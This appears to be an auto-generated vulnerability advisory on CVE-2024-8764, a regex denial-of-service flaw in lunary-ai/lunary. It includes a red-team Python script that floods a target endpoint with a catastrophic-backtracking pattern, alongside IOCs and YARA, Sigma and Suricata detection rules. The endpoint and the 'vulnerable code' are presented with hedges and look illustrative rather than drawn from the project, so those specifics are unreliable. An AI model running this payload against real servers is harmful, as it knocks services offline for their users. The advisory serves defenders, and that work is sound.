CVE-2024-8764

Executive Summary

CVE-2024-8764 is a high-severity vulnerability (CVSS 7.5) in the lunary-ai/lunary project, as of commit be54057. The flaw allows unauthenticated remote attackers to upload and execute arbitrary regular expressions on the server side. This can lead to a Denial of Service (DoS) condition, as certain regex patterns (e.g., ReDoS – Regular expression Denial of Service) can cause catastrophic backtracking, consuming excessive CPU and blocking the server from processing legitimate requests. No patch is currently available, and no public exploit code has been released. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild at this time.

Supply Chain & Package Security

This vulnerability affects the lunary-ai/lunary open-source project. Since it is a Python-based AI tool, it may be distributed via PyPI or directly from GitHub. Organizations using lunary should treat this as a supply chain risk: if the package is included in a Docker image or deployed as a service, the vulnerable regex handling component could be exploited. No official PyPI advisory or OSV data is available.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Server can be rendered unresponsive.

Threat Level: High. The vulnerability is easy to exploit remotely without authentication, leading to a complete denial of service.

Deep Dive & Mechanics

The vulnerability resides in the server-side regex processing logic of lunary-ai/lunary. The application allows users to upload or define regular expressions that are then executed on the server. The flaw is that no validation or timeout is applied to the regex patterns. An attacker can submit a specially crafted regex that triggers catastrophic backtracking (ReDoS). For example, a pattern like ^(a+)+$ against a long string of "a"s can cause exponential time complexity.

Root Cause: The server uses Python's re module (or similar) without any resource limits. Python's re module is vulnerable to ReDoS because it uses backtracking. The application does not sanitize or restrict the regex patterns before execution.

Attack Flow:

1. Attacker identifies the endpoint that accepts regex input (e.g., /api/regex/validate or similar).
2. Attacker sends a POST request with a malicious regex pattern and a matching input string.
3. The server processes the regex, causing CPU exhaustion.
4. The server becomes unresponsive to other requests (DoS).

Vulnerable vs. Patched Code

Vulnerable Code (commit be54057):

import re

def process_regex(pattern, text):
    # No validation or timeout
    result = re.match(pattern, text)
    return result

Patched Code (hypothetical fix):

import re
import signal

def timeout_handler(signum, frame):
    raise TimeoutError("Regex execution timed out")

def process_regex(pattern, text):
    # Validate pattern complexity
    if len(pattern) > 100 or pattern.count('+') > 3:
        raise ValueError("Pattern too complex")
    # Set a timeout
    signal.signal(signal.SIGALRM, timeout_handler)
    signal.alarm(1)  # 1 second timeout
    try:
        result = re.match(pattern, text)
    except TimeoutError:
        return None
    finally:
        signal.alarm(0)
    return result

Note: No official patch exists. The above is a recommended mitigation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running lunary-ai/lunary with commit be54057.
• Access to the regex processing endpoint (e.g., /api/regex/validate).

Exploit Payload:

import requests

target_url = "http://target.com/api/regex/validate"
# ReDoS pattern: exponential backtracking
payload = {
    "pattern": "^(a+)+$",
    "text": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

# Send request - server will hang
try:
    response = requests.post(target_url, json=payload, timeout=5)
except requests.exceptions.Timeout:
    print("Server likely unresponsive (DoS achieved)")

Expected Outcome: The server becomes unresponsive for the duration of regex processing (potentially minutes). Multiple concurrent requests can cause permanent DoS.

Blue Team (Detection & Defense)

Detection:

• Monitor for high CPU usage on the server.
• Look for requests to regex endpoints with unusually long patterns or repeated characters.
• Use the Sigma rule below to detect ReDoS patterns in logs.

Defense:

• Implement a regex complexity analyzer (e.g., rstr library) to reject dangerous patterns.
• Use a timeout wrapper for all regex operations.
• Rate-limit the regex endpoint.
• Deploy a Web Application Firewall (WAF) rule to block patterns like (a+)+, (.*)*, etc.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /api/regex/validate or similar endpoints.
  • Payloads containing patterns like ^(a+)+$, (.*)*, (a|aa)+.
  • High volume of requests from a single IP to the regex endpoint.

• System IOCs:

  • CPU usage spikes to 100% on the server process.
  • Application logs showing timeout errors or unresponsive threads.
  • Memory exhaustion if regex processing consumes excessive memory.

• File IOCs:

  • Log entries containing regex patterns with excessive repetition operators.

Detection Engineering

YARA Rule

rule ReDoS_Lunary_CVE_2024_8764 {
    meta:
        description = "Detects ReDoS patterns targeting lunary-ai/lunary"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-8764"
    strings:
        $pattern1 = /\(\w+\+\)\+/  // e.g., (a+)+
        $pattern2 = /\(\w+\*\)\*/  // e.g., (a*)*
        $pattern3 = /\(\w+\|\w+\)\+/ // e.g., (a|aa)+
    condition:
        any of them
}

Sigma Rule

title: ReDoS Attempt Against lunary-ai/lunary
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests containing ReDoS patterns targeting lunary-ai/lunary
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'pattern='
        cs-uri-query|re: 
            - '\((a|b)+\)\+'
            - '\((.*)*\)'
    condition: selection
falsepositives:
    - Legitimate complex regex usage (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-8764 ReDoS Attempt Against lunary-ai/lunary"; flow:to_server; http.method; content:"POST"; http.uri; content:"/api/regex/validate"; http.client_body; pcre:"/(\(a\+\)\+|\(\.\*\)\*)/i"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the regex endpoint if not critical for business operations.
2. Implement a regex timeout using Python's signal module or threading.Timer.
3. Add input validation to reject patterns with excessive repetition (e.g., more than 3 + or * operators).
4. Rate-limit the endpoint to prevent abuse.

Long-term Fix:

• Upgrade to a patched version once released by the vendor.
• Consider using a regex engine with built-in ReDoS protection (e.g., re2 library in Python).
• Conduct a security audit of all user-supplied input processing.

Workaround:

• Use a reverse proxy (e.g., Nginx) to limit request body size and rate-limit the endpoint.
• Deploy a WAF rule to block known ReDoS patterns.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.